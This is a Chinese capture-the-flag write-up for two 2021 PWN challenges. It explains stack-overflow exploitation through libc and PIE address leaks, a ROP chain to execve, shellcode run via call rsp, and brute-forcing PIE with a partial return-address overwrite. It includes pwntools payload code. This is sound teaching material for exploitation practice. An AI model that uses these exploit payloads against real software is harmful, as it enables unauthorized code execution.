天工杯2021 PWN WP
看点:
1.两个解法(shellcode、ROPchain)
2.python3.9与pwntools的一个坑。
程序漏洞情况
程序溢出点很好找,但是没有提供/bin/sh
和system
后门函数,考虑ROP(one_gadget或者ROPchain)。
checksec情况
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
- 没有Canary,无脑栈溢出;
- 要用ROP需要leak libc的基地址;
- 没有开NX,可以通过
jmp rsp/call rsp
去执行栈上shellcode。但是开了PIE,需要leak程序的基地址。
ROPchain
如何让程序多次运行
一次read/write
只能泄露出基址,但后续的ROP构造还要一次read/write
操作。方案直接上代码:
payload = flat([ 'a' * 128, p64(0xdeadbeef), b'\xc0' ])
这里有个python3.9和pwntools的坑,要使用
b'\xc0'
不能直接'\xc0',使用后者发送的数据会不符合预期,造成攻击不成功
其中的关键点在于b'\xc0'
,作用是让vul
函数的返回地址从图中红框变为绿框,再从main
函数的起始处开始执行,就可以再执行一次。
leak地址问题
vul
函数的write
中,可以写出栈上256个字符,进而泄露出__libc_start_main_ret
和process
的基地址。
攻击方式有两种
(一)构造ROP攻击链(基于libc2.23)
- 第一种(坑):使用one_gadget,结果:失败。因为满足不了one_gadget的限制条件。
- 第二种(坑):使用pop rdi,ret,system,结果:失败。system的调用链如下:
system-->do_system-->execve
,最终在execve中与one_gadget殊途同归。一样的因为参数问题无法正常调用 - 第三种:构造ROP链,直接调用execve,把execve第二个、第三个参数设置为null。即可正常调用。
EXP如下:
flat([
'a' * 128,
p64(0xdeadbeef),
p64(pop_ret),
p64(binsh_addr),
p64(prdx_prsi_ret),
0x0,
0x0,
p64(execve_addr)
])
(二)leak process基地址后,使用call rsp调用shellcode直接攻击
- 泄露process的代码如下:
leak_address = ru(cdelim)
libc_main_ret = u64(leak_address[0xa9:0xb1])
elf.address = u64(leak_address[0x89:0x91]) - 0x9c0
- payload如下:
flat([
'a' * 128,
p64(0xdeadbeef),
p64(call_rsp),
asm(shellcraft.sh()) #这里要注意需要设置context.arch='amd64',否则默认发送i386架构下的shellcode。
])
暴力碰撞PIE
如果程序提供了后门函数,并且开了PIE,可以尝试暴力碰撞返回地址最后2字节(4位16进制)。原理是glibc下的pie,只到内存页级别(大小0x1000),所以程序基址的最后三位必定为0。暴力碰撞使用四字节覆盖,会覆盖倒数第四位,这一位与PIE有关系。通过不断重复调用执行程序,使某一次的PIE地址,正好与我们挑选地址一致,就执行成功。下面用另一道题来解释:
程序漏洞情况
-
mainmain
函数
-
hahahaha
函数
-
校验使用v5+v4结果,传参使用v5,并且使用v5进行read调用。可以使v4为负数,v5为大正数,就可以造成
haha
函数中栈溢出。
代码如下:
io.sendlineafter("number", str(512))
io.sendlineafter("number2", str(-511))
暴力碰撞
- 程序提供了后门函数,但未提供泄露基地址的地方,可以使用多次运行,去碰撞PIE倒数第四位。
- 先来看几个重要偏移
1.haha
函数的返回偏移:0xB43
haha返回偏移
2.后门函数的偏移
后门函数的偏移 - 再来看看payload
backdoor = b'\xe0'
backdoor += b'\x09' ##把返回地址的最后4位改为0x09e0
payload = flat([
'a' * 96,
p64(0xdeadbeef),
backdoor
])
- 最后看看调试结果
1.看看程序的基址:0x559063600000
程序的基址
2.看看haha
函数被覆盖后的返回地址:0x5590636009e0
3.haha原返回地址应为0x559063600B43
,而payload把返回地址修改为0x5590636009e0
,就成功执行了后门函数。注意:这里截取的是成功后的图。
- 如果是把返回地址改为0xb9e0,则本次是不成功的,因为基地为0x559063600000,在访问0x55906360b9e0时会失败。但可以通过反复关闭再执行程序,让程序的PIE地址变换,最终变换成类似0x55906360b000,那么就能成功执行了。